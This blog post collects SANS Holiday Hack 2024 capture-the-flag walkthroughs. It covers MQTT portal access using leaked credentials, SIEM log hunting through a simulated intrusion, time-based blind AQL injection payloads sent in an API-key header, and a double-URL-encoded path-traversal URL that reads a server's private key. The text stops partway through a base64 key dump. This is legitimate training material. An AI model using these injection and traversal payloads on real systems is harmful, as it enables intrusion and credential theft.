Saturday, January 4, 2025

SANS: Holiday Hack 2024: Santavision

SantaVision A

What username logs you into the SantaVision portal?

Silver

Click on the SantaVision Terminal near Ribb Bonbowford in the middle section of Act 3.
It shows a still image of Santa sky diving with meteors in the background.  At the bottom right-hand side of the screen there is a picture of a gator.  Those that played the HH before will recognize that as GateXOR which is a time-traveling friend that assists with the challenge.  Click on the gator.  Then click on the Time Travel button to create your own SantaVision instance.  It does take a few minutes to build.  Once it's built, there will be an IP at the top.  This IP can be scanned with something like nmap.

nmap -T4 -Pn <whatever the IP is> -p <common interesting ports>

Since it's Mosquitto, checking for default ports for that would be good, like 9001 for example.

The hints are added to the badge after speaking to Ribb Bonbowford at certain times during the challenge:

Hints for A:
Mosquitto is a great client for interacting with MQTT, but their spelling may be suspect. Prefer a GUI? Try MQTTX
jefferson is great for analyzing JFFS2 file systems.
See if any credentials you find allow you to subscribe to any MQTT feeds.
Consider checking any database files for credentials...

After scanning, these ports are open:

1883: MQTT
8000: http over non-standard port
9001: MQTT over WebSockets

Navigate to http://<whatever IP gateXOR gave>:8000

The username and password that logs you into the portal is shown in the source code for the website.  Right Click>View Source Code.  It's in the div class footer.  <-- mqtt: elfanon:elfanon -->

Also, make note at the bottom of the login screen: "topic: sitestatus available"
Log in with elfanon, and then answer question A in the badge.
At this point, it's best to talk to Ribb Bonbowford to get more hints and to solve the silver parts of this challenge first.  I didn't.  I noticed the sitestatus topic, so I logged into MQTTX.  Then I subscribed to the sitestatus topic.
Then I saw this:
File downloaded: /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
Remembering the jefferson clue, I installed jefferson, and ran it.  
It output the source for the default site in a folder structure.
In src>accounts>views.py, I saw:
/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite
So I grabbed the DB by going here:
http://<IP I was given for SantaVision>:8000/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite
There's also a broker admin user/password that is useful: SantaBrokerAdmin in src>core>views.py
There is another user mentioned: elfmonitor.  You can see it in the source code for the site in http://<the ip you're given from GATEXOR>:8000/static/js/mqttJS.js

The user to solve silver is elfanon.

Gold

After getting the database, use sqlite3 to view it.

sqlite3 SantasTopSecretDB-2024-Z.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
alembic_version  users          
sqlite> select * from users;
1|santaSiteAdmin|S4n+4sr3411yC00Lp455wd|2024-01-23 06:05:29.466071|1

The other user is santaSiteAdmin.

SantaVision B

Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the northpolefeeds on the monitors. What username worked here?

Silver

The user that solves silver is elfmonitor that was seen in the source code earlier.

Gold

The other user that works is santashelper2024 that can be seen in the headers when you login as santaSiteAdmin.

BrkrTopic: northpolefeeds
BrkrUser: santashelper2024
BrkrPswd: playerSantaHelperPass1895512300

This can be seen in the headers of this request: http://34.41.29.152:8000/auth?id=viewer&loginName=santaSiteAdmin

SantaVision C

Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?

Silver

Launch MQTTX.

Fill in the information that's requested, like username password, what protocol it is, the IP, and the port.
In this case, SantraBrokerAdmin:8r0k3R4d1mp455wD as the credentials, the protocol is mqtt://, the IP is the IP you're given from GATEXOR, and the port is 1883.
Then subscribe to the # feed which basically means everything available to this user.  In the santafeed, the following will be shown.

Topic: santafeedQoS: 0
Sixteen elves launched operation: Idemcerybu
For silver, answer the question with the Idemcerybu as the answer.

Gold

For gold, put idemcerybu into CyberChef, and rotate each of the letters 10 times.  The answer is snowmobile.  Alternatively, ChatGPT can do this.  Ask it to rotate each character of idemcerybu 10 times.

SantaVision D

There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the northpolefeeds feed. What type of contraption do you see Santa on?

Silver

Santa was on a pogostick.

Santa was riding a pogostick  For this one, Launch MQTTX.  Fill in the information that's requested, like username password, what protocol it is, the IP, and the port.
In this case, elfmonitor:playerElfMonitorPass<some random number here> as the credentials, the protocol is mqtt://, the IP is the IP you're given from GATEXOR, and the port is 1883.

Then send:

singleAdminMode=true

to the santafeed.

Gold

Santa was riding a hovercraft.  For this one, Launch MQTTX.  Fill in the information that's requested, like username password, what protocol it is, the IP, and the port.
In this case, santashelper2024:playerSantaHelperPass<some random number here> as the credentials, the protocol is mqtt://, the IP is the IP you're given from GATEXOR, and the port is 1883.

Then send:

singleAdminMode=true to the santafeed topic.





SANS: Holiday Hack 2024: ELFStack

This challenge Terminal is located near Fitzy Shortstack in The Front Yard (Act 3).

Here are the challenge hints all given by Fitzy Shortstack in the badge hints:

Elf Stack Intro

I'm part of the ElfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own solution. Any way is possible to hunt through our logs!

Elf Stack Fields

If you are using your command line skills to solve the challenge, you might need to review the configuration files from the containerized Elf Stack SIEM.

Elf Stack Powershell

Our Elf Stack SIEM has some minor issues when parsing log data that we still need to figure out. Our ElfSOC SIEM engineers drank many cups of hot chocolate figuring out the right parsing logic. The engineers wanted to ensure that our junior analysts had a solid platform to hunt through log data.

Elf Stack WinEvent

One of our seasoned ElfSOC analysts told me about a great resource to have handy when hunting through event log data. I have it around here somewhere, or maybe it was online. Hmm.

Open the ElfStack Terminal.

Download the elf-stack-siem.zip file from the Download link at the bottom right.

There are a couple ways this can be done.  Old school use Linux/Windows command line commands to solve this one like grep, cut, sort, etc.

The other way: there's a docker container so that ELK can be utilized to solve the challenge.

I said why not both.  Some questions are easier to answer in the command line, others are easier in ELK.

I did have a little trouble installing ELK.  I had to unzip the elf-stack-siem, and went into the elasticsearch folder, also in the config folder, and then went into elasticsearch.yml and switch xpack.security.enabled: true to xpack.security.enabled: false for it to load properly.  I was using an Ubuntu 22.04 VM.

Once I fixed that:

unzip elf-stack-siem.zip

cd elf-stack-siem

docker-compose up

Silver

Wait about 30 minutes or so.  In the Terminal, choose the Easy mode.

Question 1: How many unique values are there for the event_source field in all logs?

5

Question 2: Which event_source has the fewest number of events related to it?

AuthLog

Question 3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?

hostname

Question 4: Which event_source has the second highest number of events related to it?

NetflowPmacct

Question 5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?

event.port_dst

Question 6: Which event_source is related to email traffic?

SnowGlowMailPxy

Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?

event.Body

Question 8: Using the 'GreenCoat' event_source, what is the only value in the hostname field?

SecureElfGwy

Question 9: Using the 'GreenCoat' event_source, what is the name of the field that contains the site visited by a client in the network?

event.url

Question 10: Using the 'GreenCoat' event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?

pagead2.googlesyndication.com:443

Question 11: Using the 'WindowsEvent' event_source, how many unique Channels is the SIEM receiving Windows event logs from?

5

Question 12: What is the name of the event.Channel (or Channel) with the second highest number of events?

Microsoft-Windows-Sysmon/Operational

Question 13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?

6

Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?

4697

Question 15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?

0 - There are no 4720 events

Gold

In the Terminal, choose the Hard mode.

Question 1: What is the event.EventID number for Sysmon event logs relating to process creation?

1

Question 2: How many unique values are there for the 'event_source' field in all of the logs?

5

Question 3: What is the event_source name that contains the email logs?

SnowGlowMailPxy

Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event 'From:' field for this email log event.

kriskring1e@northpole.local - 34.30.110.62 - hollyhaven.snowflake

Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.

SleighRider

Question 6: What was the IP address of the system you found in the previous question?

172.24.25.12

Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?

10014 - sysmon event id 1

09:36:38 Sep 15, 2024- "C:\Users\elf_user02\Downloads\howtosavexmas\howtosavexmas.pdf.exe"

Question 8: Did the attacker's payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.

8443 - sysmon event id 3

Question 9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.

09:38:34 - process launch 4336 or 10014 - parent process 8096

\\.\pipe\ddpvccdbr

Question 10: The attacker's process attempted to access a file. Submit the full and complete file path accessed by the attacker's process.

C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem - event 4663

Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?

kringleSSleigH

Question 12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?

ssdh

Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?

/usr/sbin/usermod -a -G sudo ssdh

Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.

2024-09-16T11:10:12-04:00 event ID 2889

Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.

You can detect an ADCS attack by monitoring for Kerberos EventID 4768 with ‘PreAuthType’ == ’16’ (TGT based on user certificate) and ‘TicketOptions’ startswith ‘0x4080’ (hardcoded value in multiple attacker tools).

KringleGuard - 4888

Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?

nutcrakr

Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.

WishLists

Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?

fR0s3nF1@k3_s

Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?

2024-09-16T15:35:57.000Z 4624 type 10

Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?

C:\WishLists\santadms_only\its_my_fakelst.txt event id 1 dc01

Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?

4 - just noticed that the wombley faction started with wcub and started to create a search for event.To: wcub and it only showed 4

Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?

22 - (event.From :"asnowball04@northpole.local" or event.From:"asnowball08@northpole.local" or event.From:"asnowball09@northpole.local" or event.From:"asnowball_05@northpole.local") and (event.To : "wcub101@northpole.local" or event.To:"wcub303@northpole.local" or event.To:"wcub808@northpole.local" or event.To:"wcube311@northpole.local")

Question 23: Of all the reindeer, there are only nine. What's the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the 'SnowGlowMailPxy' event source.

rud01ph.glow

Question 24: With a fiery tail seen once in great years, what's the domain for the reindeer who flies without fears? To help you narrow your search, search the events in the 'SnowGlowMailPxy' event source.

c0m3t.halleys


SANS: Holiday Hack 2024: Deactivate the Naughty Nice List

This challenge only has a Gold track.

It's long, slightly frustrating and not easy.  At least it seemed easier than decrypt the naughty nice list objective in my opinion.

Hints were given by Dusty Giftwrap.

Frostbit Publication Hint

There must be a way to deactivate the ransomware server's data publication. Perhaps one of the other North Pole assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit infrastructure into revealing more details.

Frostbit Slumber Hint

The Frostbit author may have mitigated the use of certain characters, verbs, and simple authentication bypasses, leaving us blind in this case. Therefore, we might need to trick the application into responding differently based on our input and measure its response. If we know the underlying technology used for data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and payloads with greater insight into how the application functions.

The url to deactivate the ransomware was given in the SantaVision challenge.

Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley

Dusty mentioned that there was a debug mode in the Decrypt challenge.  So maybe there's a debug mode in this case as well.

/api/v1/bot/<bot uuid here>/deactivate?debug=true

The X-API-Key header is kind of like an authorization token so that the web application knows that whomever is requesting the deactivation actually has the authorization to do so.  The X-API-Key header is controlled by the client.  What that means is that we can manipulate the header.  Sometimes there are vulnerabilities present when an exploit is introduced in a header.

Creating a header of X-API-Key and a payload of ' gives this:

"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"

I didn't recognize this database type because I'd never used it.  However, a quick Google search or asking ChatGPT shows that it could be ArangoDB.

Reading the documentation, it seems similar to many other languages used to query dbs, but slightly different in how the data is handled.  The most helpful functions I found were here: Document and object functions in AQL | ArangoDB Documentation, here: Miscellaneous functions in AQL | ArangoDB Documentation and here: String functions in AQL | ArangoDB Documentation.

First, I ran tests to see what characters were not allowed.  Anything not allowed whether it was a valid query or not returned a "Request Blocked" message.

Second, I ran tests to see what verbs were blocked and if comments were blocked.  Comments were blocked.  Several verbs were also blocked.

This ended up being vulnerable to time-based blind sql injection.  You can get the database to spill the beans on what is a valid character in like a key name for example, by having it sleep for 5 seconds before returning a valid response.  So now I needed to get it to sleep.

This worked:

' OR 1==1 AND SLEEP(5) OR '

After that, I needed a conditional statement to test whether or not something was true.  The ternary operator was handy.

' OR 1==1 AND 1==1 ? SLEEP(5) : null OR '

What this means is OR 1==1 (ie true) AND IF true, THEN SLEEP for 5 seconds, if not true then don't do anything, and the OR ' would just run the rest of the query.

If it was true, The query would be returned, however, it would take 5 seconds to return.  If it was not true, then it wouldn't take 5 seconds to return the query.

The statemetn above - ie 

FOR doc IN config

FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'

<other_query_lines_omitted>

RETURN doc

config is the collection, doc are the documents in the collection.  doc.<key name omitted> is using a key name to select a specific document.  There's more to the query.  Then it's returning the document.

We know for sure that likely we need to guess that key name given that it's looking to see that that key name is = to the value of the X-API-Key we've given.

So how do we guess it?  Similar to Blind SQL injection.  We can use string functions like SUBSTRING and LENGTH.

SUBSTRING will grab a piece of data if the data type is a string.  Example:  If I look at SUBSTRING("apple",0,1) that's looking at the place where the letter a is.  So I could trying something like IF SUBSTRING(doc,0,1) == 'a' to see whether or not the value at that portion of the string is a.

LENGTH will return the length of an item that I'm querying about.  So, if I do something like LENGTH("apple") it will return 5 because that string is 5 characters long.  Keep in mind, the length in this case might actually be 6 if a new line is included.

We also need to grab information about the documents themselves.  This is where ATTRIBUTES document function and FIRST array function comes into play.  The FIRST array function gets the first item in an array.

ATTRIBUTES will return the top level keys of a document as an array.  The reason we use the FIRST keyword is because we only want the first key for now.  If we need other key names, we can use the NTH array function instead of FIRST to select whichever key name we're interested in.

First we may want to guess how long it is.

' OR 1==1 AND LENGTH(FIRST(ATTRIBUTES(doc))) >= 10 ? SLEEP(5) : null  OR '

It doesn't send a response back for 5 seconds.

' OR 1==1 AND LENGTH(FIRST(ATTRIBUTES(doc))) >= 20 ? SLEEP(5) : null  OR '

Immediate response, so we know it's less than 20

' OR 1==1 AND LENGTH(FIRST(ATTRIBUTES(doc))) >= 15 ? SLEEP(5) : null  OR '

greater than 15.

' OR 1==1 AND LENGTH(FIRST(ATTRIBUTES(doc))) >= 18 ? SLEEP(5) : null  OR '

yes it is, so it could be 19

' OR 1==1 AND LENGTH(FIRST(ATTRIBUTES(doc))) == 18 ? SLEEP(5) : null  OR '

Looks like it's 18 characters long.  Again, I don't recall whether or not it counted the new line, so it's possible it could count the newline as well, in which case technically it would be 19 characters, but we don't need to guess the newline, so 18 it is.  This is just showing how guessing the length can be done.

Now to start guessing.  Remember that computers start counting from 0.

' OR 1==1 AND SUBSTRING(FIRST(ATTRIBUTES(doc)),0,1) == 'a'  ? SLEEP(5) : null  OR '

Nope, the key name doesn't start with an a.  We got an immediate response.

few guesses more...

' OR 1==1 AND SUBSTRING(FIRST(ATTRIBUTES(doc)),0,1) == 'd'  ? SLEEP(5) : null  OR '

It does start with a d.

Then we move onto the next place in the string - ie 1,1.  The first number is the place we want - like in this case, 1 - or the second letter of doc.  And the second number is how many characters we want to check.  In this case, just one.  We could test multiple characters if we want, but this works.

' OR 1==1 AND SUBSTRING(FIRST(ATTRIBUTES(doc)),1,1) == 'e'  ? SLEEP(5) : null  OR '

Thankfully this can be scripted.  We can make a script that will do the guesses for us.  I chose python.  However, results may vary with the way that I did it.  I was measuring from the time the request was sent to when a response was sent back according to python.  However, it was measuring the delta.  So, the valid ones showed as 1 or 2 in my script.  It wasn't always reliable.  I'm not going to share my script as I'm sure others have done better.

The key ended up being guessable.

deactivate_api_key.

So now we move on to guessing the key itself.

Same thing - get a length first,

' OR 1==1 AND LENGTH(doc.deactivate_api_key) >= 10  ? SLEEP(5) : null  OR '

Keep guessing until it's right

then do the following:

' OR 1==1 AND SUBSTRING(doc.deactivate_api_key,0,1) == 'a'  ? SLEEP(5) : null  OR '

Keep guessing each place until it's right.

Ends up being:

abe7a6ad-715e-4e6a-901b-c9279a964f91

Next, we add this api key as the value for X-API-KEY when going to this url:

/api/v1/bot/<bot uuid here>/deactivate?debug=true

And we get the following response:

{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"\<some rid here>\",\"hash\":\"<some hash here>\",\"uid\":\"403\"}\nPOSTED WIN RESULTS FOR RID <some rid here>","status":"Deactivated"}

Gold achieved.


SANS: Holiday Hack 2024: Decrypt the Naughty Nice List

This challenge only has a Gold track.

It's long, slightly frustrating and not easy.

This can be started by going to Tangle Coalbox near the Deactivate Frostbit Terminal.  After clicking on the Terminal, artifacts can be generated that are unique to each player. 

The artifacts are in a zip file called frostbitartifacts.zip.

The zip file has the following artifacts:

DoNotAlterOrDeleteMe.frostbit.json
frostbit.elf
frostbit_core_dump.13
naughty_nice_list.csv.frostbit
ransomware_traffic.pcap

The hints note that it would be nice to have strings.

strings should be ran on the frostbit.elf file and on the core dump.

The core dump contains the client and server secret keys necessary to decrypt the traffic in the pcap.  It isn't strictly necessary to decrypt the pcap, although helpful.

strings frostbit_core_dump.13 | grep SECRET > ssl_keys.log

When correctly done, it will look something like this:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 4cb6604f7ecba8f7261fd896272b732d4a50e7bcc272cd3929245d3258cb1753 43f11f27bf14e29036678fea0c7499c695e1dc7ced82f0fb1c366e53a2864aa2

CLIENT_TRAFFIC_SECRET_0 4cb6604f7ecba8f7261fd896272b732d4a50e7bcc272cd3929245d3258cb1753 915b456ea0dbcdd1d8b1d311766bba0ce12c18c1ee9d9b07e1dde6dd12852ae7

SERVER_HANDSHAKE_TRAFFIC_SECRET 4cb6604f7ecba8f7261fd896272b732d4a50e7bcc272cd3929245d3258cb1753 fc17e1245eae067dd5d5c5ac123712e619fe8294888c791d86b1022cc6c0c041

SERVER_TRAFFIC_SECRET_0 4cb6604f7ecba8f7261fd896272b732d4a50e7bcc272cd3929245d3258cb1753 d67d1676089c1a4626c491831dcd417d01147fd242e96c39973ca97096303edc

Then check ssl_keys.log to make sure there aren't any invalid entries or duplicate entries.

Next, open the ransomware_traffic.pcap file in Wireshark and go to Edit>Preferences>Protocols>TLS.  Under Pre-Mater-Secret log filename, click on Browse and chose the ssl_keys.log file.

Once that is done, some of the traffic will be decrypted.  Click on one of the green http decrypted packets and right click>Follow HTTP Stream.

Couple things of note:  One) the encrypted key has been encrypted with an RSA public key and the nonce.  Both of these are necessary to decrypt this key.  The public key is also known as a key encryption key (kek) because it encrypts a key.

In the strings for the core dump, the status page is given to check the status of one of the ransomware bots.

For mine, it looks kind of like this:

https://api.frostbit.app/view/fXpdDhLEzffsUc/f0452ef9-835a-456c-9b8a-2a7b681c72ed/status?digest=05c418140a8500d401821a0501d96320

The private key location that is needed is given in the SantaVision part of the CTF in the frostbinadmin topic.

Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key

The lfi isn't readily apparent.  It's not, but reminds me of hash length extension attack I saw in SANS SEC660.  The digest is vulnerable.  Just adding a single a for the digest causes it to disclose the location of source code.  The source code is in a publicly available directory.

https://api.frostbit.app/static/FrostBiteHashlib.py

The digest's job is to ensure that you're getting the file that is allowed by computing a hash that it uses to validate that you're grabbing a file you're permitted to access.  If your hash doesn't match the computed hash, you don't get the file you're requesting.  In this case it's vulnerable because the code allows you to specify your own hash.  I'm not 100% sure how this works to be honest.  Someone gave me a good nudge on this part and there was an Ed Skoudis hacking miracle.

There is also an lfi.  Replacing the status id with a payload and the path to the file that's desired, is how the lfi is done.  Unfortunately, it's not as simple as ../../../../ to get to the directory you want.  You have to double url encode it to get past the WAF.  %25 is a percent.  %2e is a '.'. %2f is a '/'.  The %25d1 are enyes when it's decoded.  What's odd is that that is Windows 1252 encoded enyes.  The attack ends up looking like this:


https://api.frostbit.app/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fnginx%252fcerts%252fapi%252efrostbit%252eapp%252ekey%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1/f0452ef9-835a-456c-9b8a-2a7b681c72ed/status?digest=00000000000000000000000000000000&debug=1

Decoded - like this:

https://api.frostbit.app/view/../../../../etc/nginx/certs/api.frostbit.app.keyÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑ/f0452ef9-835a-456c-9b8a-2a7b681c72ed/status?digest=00000000000000000000000000000000&debug=1

At first, I didn't think that I'd gotten it because I did the deactivate challenge first, so I didn't see the debug data visible on the page.  Then I saw this in the raw response:

const debugData = "LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKS0FJQkFBS0NBZ0VBcGxnNWVLRHZrOWYrZ3NXV1pVdHBGcjgwb2pUWmFibTRSdHkwTG9yd3RxNVZKZDM3CjhHZ0Ftd3hJRm9kZHVkUCt4TU56OXU1bFJGRXhxRFdvSzJUeEtieWlHVE9LVjlJbHBaVUxGeWZWOS8vaTh2cTQKZXc3SDlUczdkdU5oNGdlSE55c2ZXcWRyVmViVFJaNkFlQ0FlSjJjWnVWUDRicmlhaTBYRHEyS1VkL3NjN2tnUQp4WEdndzB0L0ZxaURnbHBTRjFQRnhQdlV6SndjSk5RaElZUUN4UkN3SGtIcVZTblRvWmNuakpqaGdWeVhzVE55CjVwT0xCV3FnNW5Tblhyd2w4SmZHa1VITi9Ud2JiODI5cklNVDU1MFp4TzhLWUg0cS9rVjNjd1ZjU1lmRVl2TUoKSm9lUUZDZ0hpdUw1RXV4QVViTzZLWmdUblJXaFdRbW90VFFiK2ZDajhzaWxqZzhkSWR3eEI2OTBMdlpZcHZ2NAp5UExZZ3FDZjlQenpnclpQdmxKK1hrSW5KM3MvK0RPTDBWYkNnVEhQMGdicE83a2RqaVRPQlMxSnArRnRiQ0crCjZvbXZ3U2cvY0VMTm5zRENzNkYxeDMzaVI3dHVtZVF5U3dOUFdOR3Q2cE9IbXlHZkhZTDJSeGhqNVM1bkNYcXgKR0N4MnEybUg4bDRBTDViYnpWVnhFRWErK0ZnbmQ5cjI0U1NDM2J2bE5WVDBDRGZCZG9LelR1TzhST05CNFdLTgprYnFOaitNRThKREhVQTM5bGQveXFJVmlHampBRVIvTlRpc2hrNXprMDQxOUFpUXBIZk9VbkNOeHExN05aUDVLCmdMeHg3eHJUYUxkUG0wWDlhTU9jcXVJUGVuanJ3WmZJVnB5cVpvVW4vRDB6aW5vTklub2s4Q0ZkYkQ4Q0F3RUEKQVFLQ0FnQUFnd3o3UFp1YXFSc3VhZmM5WWJsWHlFcVRwaGlDQkd1SWh1aHVsOGhuSjJuYjBPTktyRHg5cmsxRQp0SWl6a1I4QklxcXdvblZveHRIOXVMS1VBMG9lcm13TFpGdFRxeWU2Q2FwVEJvWjFiWGNFTGxoeitBUkJuSHlICkRHL3JMY00rM1lTc3h1MEFsek4wcklHWDVMbmo0alRHdUZ2bEhudG1HYkxoOVFxSEpEelpLV21UQUNxVWNUTjAKOGJpTSt2NHc1UnRxNlBRb3Q3dllWUmNJQm5KcFR2Mm9xeU9mUlQ4RnJhbzlnMjEzSkE2eG5JOENLOVhKODN3eAo1NmtHcmluQUJVeGFvS0c2czMzK1hSSFR1cnN4S0R4SlB4elA2TkpzZ010VS84a3cwbEFLZ2hvTGNvZkVmbWZlCm9VQWw3Ull3T2ZkZ1VkVkpGZndzM3ZjbFBGeEFVTU5OaUpXOFRsL0lZNm1aNVBwMUdwaStvbUJPeVlmazlpeU0KUzhSNzZhZmozZDBSaHRUMEppaTg4eUZ0TUJWRkxTTDhZMHNYRVhFTWRJWHRveDdmY2IyVGxaeFhvZFlKZUhKQwowZExRM2I3Q0IrU1B5RGozeFpaSEVGajREUlh3dUNZS2xYc2FvbVhMN3E5YnFMOGxqakpxYzRXUldDZTErNTFlCnNGUDlmVU16dWM2bGNiSGN6TGhONWRnUitjcXJpTW84THpyd3BOaWE2RGpHeUJNZk95UExpTjBaN1pmWHJYRHYKVlNiQmpyTXFlTXRDNlNVMTBDZDJtVlpMTkpMakduSXdmL1NkdW83Vm9OVGc4RjlHY2FVclNxSEt1QjNkTVU5YwpydlJIQnhzRHI0aXN6VzRYMExDTTZ6U1U4NGFFUzFrUC9DTktnNHpaWFYyR3ZZTUdGUUtDQVFFQTV3RmQrWWJFCm4wMkhUWm8rOFYwUi9jSzM4TnZFREFBU0t4RXNSRU9UR3liS3c0QjlvQ0w2NHNFOFJZWE9yYllvMk1HTEM3SkwKcTA4eUxyRVdDY1dDT2JkRGhNYlR4WVYrSjByU0d4aUdqaU9MR0dvV3dnS0hTMUZuck9CZEw3YkZCcWF5RVNqaQpFcWZWTmsyVnJtbGhKS09NV3diMkFQR0w4czRxZFFrckhXd3B0cGMrVURKdUpIZGM2UUNzSHJIeWFmYWhmcXdkCmFUSHB5QlJxSUs2OUZtTVNCUGlTTUx4RSsxR0kyeW95MDBaNTVCRUVKalExYlRHMUhkT2tyTmY1ZkJmKzZXTkEKQTNkYy8yTGFEazdJb3RsNVpndWhsd1VReFp6eFdobjJYMjNOVmNRSkdqSjRzMEx3Snl6UGRpMUNVbGdBL1V5UQpyMlVhRDBueFlYbDV5d0tDQVFFQXVGZlEycE1kME03QytSN1NtZk4zNzY1b3FHS0wrMkZ3a1NncmhVVzJhV3psCjI3U215VlNDMExsb0dERzZHb3JyaHRMaXFtZkZHRFcrUkJwRzBhSklUR09TYmUzTjBWSDlwU3U5YnV1cm52SlcKRGppamFOREtKbnVpaG51QkgxVkRzSENaUk9JNld2REZXMXh5QlBYbzVuUlZZNnk1T3IyZUdUaS9rYkIvckVsZApFZHZ1QTJDY3dZT1NudWZmY2NROFRSSStSWExWMUpEVDNsV0dLeFJ2eUd1TVVJTnpOazBuWk44WC9WdzFTSTRKCmRmWmdXcm9peklaOWN1OVJoWVBkenFLVzU1VGR1S1JSRkRiU2JRRWVjUDgvSHhVdzBacjNTM1ovZFdBMnZTbUsKbzNPeG1TSXhuTmxBa1Zad3J0b0xyOHFYZ2d2TjVkVWR3LzBCVHJUWTNRS0NBUUVBeERjcURwQkZwUmFpYmUwdAp0N0NaWHBXdHpoMnR5WStwM3dFSU83ZTJWV0srNmc3VEpsbHdCM21oYTJBNzdOdUVtSkRWUFlzbHNRNWxEcm9HCmdTaE45QjVSY0krK1E5R2ZGVnI5V2x5YnRsSkVqT2xZQ1ZWQ2ZGeGFGc0xCQkkxWGo4MjZCTTlZTUFaMUdWb1AKWVFWTHFXWnVDc2UvMzQ5TWsySkJPQVlncEM1Q3hFQjFnb05EZ1NBT1FDLzlBMW1kRWhxV2xGVTM2aW1tYlBmQwpLWjZqS0VmZ2YyNXdKb3RVZ0xDQjhiOUhTcVJiVnJpSmNMWDZCNVVvUlh5SExQV0tpYmlNSXN2V0ROdXZsNUhzCnJDaUpUYUl4OXRhOFc5M0dvRVF0MFoycDR1Y09lZUk0NVJLbjZZUmJIcnQyUU9neXBHVHgralcxMC9XcGpBRC8KMGc3dnZ3S0NBUUIxVlYvWVg5K1FjcXBqU3AwZDVId29rTWlJdFFFSVprTHlBYkdCeUplTWp3WFhUQ3NFNXNmRQo5dDRzMkNudWp4SE81UmZsQXR2T3h4WnQzcFBKQnhRaG14Y3U1VGdselp3MnI1cUpxWE81WGVJc2R4eDdzTG1hCnVRTC91a2k3bXRmVXpEYWlRNlNGRWM5c2tYRDVlMVJjcXh0V3NDL09GYmMxc29zc3ZqemxlbVRFNDBtaDJMS3QKOFlNM3BicnhmTWdzL2ptb2xxbEgvVTc5cTA0VXlaTkU3RCtKVjhIVGhGUll2aTlVMG9ZUHdtaC9MdXl4a3R4bgpkZ3NQUndpS2hSNS9VYm5mZVQrUE1QZHllRnFEaXp6SEM1QXZ4cHNtTHc3TWQ0WTFQYUpaME1FdnZJb0VRR0YzCnhraDB1YUpMaVBuN1VHWVRIbFJWdjhxTVh0T2dOemY1QW9JQkFETUMyWDVGQmp5eHYveVRBUk9nOERuOTBLdGgKcDJQcUxEVkdlSERMMnYweGN5dkl0aEl2ZTMveEdaZ3RCZ2hmU3lNUGNxWjVzOGgxNW0rL1FOTmQ5NXpsN3hxRgo1REpQb1A2NncrL3dNK1c0bS92b01RTTFrYlFTbkRxdHRMekc0VEFYcmpxa2x2eDBRUUFKQWtDNVg5TDM5V3VFCit1SHJrTDJET09uMzJ0Y1N6aWM4U0h